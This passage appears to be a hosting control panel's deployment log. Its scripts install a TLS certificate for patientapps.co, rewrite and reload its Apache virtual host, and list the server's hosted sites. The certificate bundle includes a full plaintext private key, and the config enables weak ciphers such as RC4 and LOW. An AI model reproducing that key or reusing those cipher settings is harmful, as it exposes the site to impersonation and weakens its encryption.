9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-10 06:00:01: Establishing a connection
2025-09-10 06:00:01: Establishing a connection
2025-09-10 06:00:01: 

PUT: /tmp/pkp355836

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-10 06:00:02: 

chmod 755 /tmp/pkp355836; /tmp/pkp355836; rm /tmp/pkp355836

2025-09-10 06:00:02: 


0


2025-09-10 06:00:28: Establishing a connection
2025-09-10 06:00:28: 

PUT: /tmp/pkp203496

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99.crt

cat > $temp_file <<'endmsg'
77:51:69:87:ea:14:2b:73:fb:b5:e4:0a:96:0b:29:0d

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBWqyFhxfj3PqOvp3DpWWLJUhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMTU3WhcNMjUxMjA5MDUwMTU2WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKyrYO1s4Vkskg5YnMFafXLGwowcK5sc6andzBWrmXBb4qoftvr4NigMXQepu+aO
Ss52jBTcqBq/H/qhfDaAM2ery1pdAjo9r1vQzGPJl8JT45QfOATO2lZFb+Ls72eh
ZZCSdHoXshyOu1T5TWT4LDDQEqYyRe9O5zysVBhx/n4EaF9givk65JzplT0beHCp
u3ZNy6kPSjHKhJ+W5HpiwGhof7mUQ2B5EcvTW7X81zTM434GuXXylumuCEsbKxZH
YcgC9M0SxdHNpOltPcaX2wdRH99I4AXJSJ2ttn7dUANpk3RFZPDrJcBxAS1oCpYn
zXARfPhHJIK8VYF/Xa+snicCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUuBHK5scLmp+OZJTbS4WkkiajmpowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzM0LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AA3h8jAr0w3BQGISCepVLvxHdHyx1+kw7w5CHrR+Tqo0AAAB
mTI2EI4AAAQDAEYwRAIgcK7L33tsnn7aWNx+IhqY/qXYnjnfLH4I2/twQ8TTjdQC
IEY/0Hwx9YtX4Ba/F5L0d0Vk7kzZVAP7oPoAG6eOQqONAHYAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZMjYQhQAABAMARzBFAiBUpy1OmWQCVfeQ
rEbGhW5KzcFaunj4Wr+WPagWk6GNlgIhAOaNoU8QlZWm2DIZq65IYszPwGid7e/4
9NLXJrdD+MZsMA0GCSqGSIb3DQEBCwUAA4IBAQAlGP/4UDrL0ooaamG40mIS2Rpn
RekfQtH50wRpTdz+sThC6aoMsSaj4/BeY4XZpZYuQAOflip0fJZvs7SgSxHrG8xc
uF0WpLEmViwA37jMaPofPfn50KFxwJu6rn6W6BeoaoCTXSNWwzt6KPmm00YWsGvP
Jc4nI8tsD08V19EplPntmzRH4MBq+RY5srI1klYdkOmOlKAuAMG3gV8EY8smDqAj
eZX6nvfY4g6b7CwLkswsr5BCMk2Fyzex1Kel7mcG0wbR6rNmpZYq4hfG1qkbCJb9
5uh4NpPjXqenWJvrpGJGLRcZiPp3uDSgFA3hX20OEoZC6Vwa5TaaJbuCxd/w
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsq2DtbOFZLJIO
WJzBWn1yxsKMHCubHOmp3cwVq5lwW+KqH7b6+DYoDF0HqbvmjkrOdowU3Kgavx/6
oXw2gDNnq8taXQI6Pa9b0MxjyZfCU+OUHzgEztpWRW/i7O9noWWQknR6F7IcjrtU
+U1k+Cww0BKmMkXvTuc8rFQYcf5+BGhfYIr5OuSc6ZU9G3hwqbt2TcupD0oxyoSf
luR6YsBoaH+5lENgeRHL01u1/Nc0zON+Brl18pbprghLGysWR2HIAvTNEsXRzaTp
bT3Gl9sHUR/fSOAFyUidrbZ+3VADaZN0RWTw6yXAcQEtaAqWJ81wEXz4RySCvFWB
f12vrJ4nAgMBAAECggEAFcc/4HJdMewnN9wBWXnaXMGpBBcBgPzyk9Q/y3PrVHqi
aia544mu+vokObU01+2Wjdfx7yetpEH6/JelnRIqaacHbQxSHZpuJbx+Kw/gLkh6
adJONH0KmNsFM7ACuiVnNAbk3gljE6sFAcC3/EY4/Kch0wiAPaDMFaD+sl6eZLJg
jcnvUrIW8ZXuD23vVvopNwvyYVnVlDFl7VL5vyA1oTGivA1VFD8NyPzG89LuGRBG
PqfpkzXwghJJg0N9OpXQXFCXoIHZzy2yZL14pYO7/6v36QKRGK0lizpYzwFBO3CK
yMYJRALtZOn+ypSVHzovwawh0IlY6NqZslPnan/zkQKBgQDZ4QByjc4YoTN4p/9H
8goiU8GWH5qPDK6y2SqcvxNNLgaAETLDQJxK9Ic1ohQ9/IDiYTh5v1Kt3pCGmX9k
BeUbuGiGc5ldul82icBO3MfgieS1tM6mnazbhYL4oZKDY9cMOFn+qsaTjBa1Oqdt
UdHdSjz+vUuNk6baMUTTOdSDmwKBgQDK4WcvIduel0dff343psa9FcCBMCGT/2sp
Viirg8BIQoUPJwwMrjKQNU5Br0JKbouToofA4u1YOerqA/VUCckwgG3lzHOywoa5
ni16jv7xxlQVxc80CpLJnzNZqjB3npacAVxA+/5/AgOW0QOkpMxmVabMAcaV78fK
kYa8T1Y2ZQKBgQDSTxm7eZ3isFeas676p2uYzvgiDMeIJVnMUUuMmfPrn+2uWOuD
BS7YO0j4QEcBvmY6HlYBTuhj5F3lTu1kgzwvkcVzYso7atbVMgprFTnqR7B4pNqE
gdaE308Y5/0gzpKZvRtBc17StXqF3OQX5c6JqEtQKTBwrIF2Q/CHY1762QKBgEIf
lPHXpyzZQXnuo8SfpsaaAFQay9bguJyQaFD+b/0dMSDvKQ44+GHn/cmKxaBcx0En
B/fl/lVzCw2anKr3RYt5UFhFerAYlrCIzWnUkWNbsKwn/JCJoa31JVdkEMfr+EqA
ZwEHILtkfKb7GKTg0X3JDMQREBhuPj/XjoJxmTfBAoGAcJd4a2NUiFyZe4j3QpoH
5JwH86dUAmo6uERIGeZFmzAGuw5no4BdQvZt4KoWIAUvDG0tsdPfpi+IAHu3/cUd
L9FAqoVd5SRRcZuRFpmGL2y2dwaOzeieJGz5+pc6o+9ztO5uwSdz8V8i9Lb2pY5T
fioPSH2h3ocQToel5nqbwVM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-10 06:00:28: 

chmod 755 /tmp/pkp203496; /tmp/pkp203496; rm /tmp/pkp203496

2025-09-10 06:00:28: 


dir=/etc/ssl/certs


2025-09-10 06:00:28: 

PUT: /tmp/pkp131213

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-10 06:00:28: 

chmod 755 /tmp/pkp131213; /tmp/pkp131213; rm /tmp/pkp131213

2025-09-10 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 42

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-09-10 06:00:28: 

PUT: /tmp/pkp311292

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf= 1'
fi


2025-09-10 06:00:28: 

chmod 755 /tmp/pkp311292; /tmp/pkp311292; rm /tmp/pkp311292

2025-09-10 06:00:28: 




2025-09-10 06:00:28: 

PUT: /tmp/pkp757171

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-10 06:00:28: 

chmod 755 /tmp/pkp757171; /tmp/pkp757171; rm /tmp/pkp757171

2025-09-10 06:00:28: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-10 06:00:29: Establishing a connection
2025-09-10 06:00:29: 

PUT: /tmp/pkp439559

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-10 06:00:29: 

chmod 755 /tmp/pkp439559; /tmp/pkp439559; rm /tmp/pkp439559

2025-09-10 06:00:29: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-10 06:00:29: 

PUT: /tmp/pkp101223

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-10 06:00:29: 

chmod 755 /tmp/pkp101223; /tmp/pkp101223; rm /tmp/pkp101223

2025-09-10 06:00:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf	1820

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-09-10 06:00:29: 

PUT: /tmp/pkp525455

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-10 06:00:29: 

chmod 755 /tmp/pkp525455; /tmp/pkp525455; rm /tmp/pkp525455

2025-09-10 06:00:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt	5368
77:51:69:87:ea:14:2b:73:fb:b5:e4:0a:96:0b:29:0d

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBWqyFhxfj3PqOvp3DpWWLJUhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMTU3WhcNMjUxMjA5MDUwMTU2WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKyrYO1s4Vkskg5YnMFafXLGwowcK5sc6andzBWrmXBb4qoftvr4NigMXQepu+aO
Ss52jBTcqBq/H/qhfDaAM2ery1pdAjo9r1vQzGPJl8JT45QfOATO2lZFb+Ls72eh
ZZCSdHoXshyOu1T5TWT4LDDQEqYyRe9O5zysVBhx/n4EaF9givk65JzplT0beHCp
u3ZNy6kPSjHKhJ+W5HpiwGhof7mUQ2B5EcvTW7X81zTM434GuXXylumuCEsbKxZH
YcgC9M0SxdHNpOltPcaX2wdRH99I4AXJSJ2ttn7dUANpk3RFZPDrJcBxAS1oCpYn
